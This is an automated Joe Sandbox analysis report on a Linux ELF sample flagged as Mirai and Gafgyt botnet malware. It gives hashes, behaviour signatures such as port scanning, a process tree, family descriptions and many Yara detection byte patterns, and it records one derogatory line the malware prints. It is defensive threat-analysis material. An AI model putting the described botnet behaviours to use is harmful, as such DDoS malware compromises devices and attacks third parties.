Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1527043
MD5:	91d3eaf550518fc516e0aca16cb60e64
SHA1:	be96050f113013c06309fd2118cb4c038ebb17d9
SHA256:	d18fc665e2e2355b0cb8632784a0dcdd778f28cc9cc0530312b96c3b61305f85
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Machine Learning detection for sample

Opens /proc/net/* files useful for finding connected devices and routers

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are user agent strings indicative of HTTP manipulation

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527043
Start date and time:	2024-10-06 19:59:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: na.elf

Runtime Messages

Command:	/tmp/na.elf
PID:	5832
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate alot
Standard Error:

Process Tree

system is lnxubuntu20

na.elf (PID: 5832, Parent: 5757, MD5: 91d3eaf550518fc516e0aca16cb60e64) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5833, Parent: 5832)

na.elf New Fork (PID: 5834, Parent: 5832)

na.elf New Fork (PID: 5835, Parent: 5832)

na.elf New Fork (PID: 5836, Parent: 5832)

na.elf New Fork (PID: 5838, Parent: 5832)

na.elf New Fork (PID: 5839, Parent: 5838)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
na.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
na.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
na.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
na.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
na.elf	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
na.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
na.elf	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
na.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
na.elf	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
na.elf	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
na.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
na.elf	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
na.elf	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
na.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
na.elf	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
na.elf	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
na.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
na.elf	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
na.elf	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
na.elf	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
na.elf	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
na.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
na.elf	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
na.elf	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
na.elf	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
na.elf	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
na.elf	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
Click to see the 23 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5838.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5838.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5838.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
5833.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5833.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5833.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
5838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
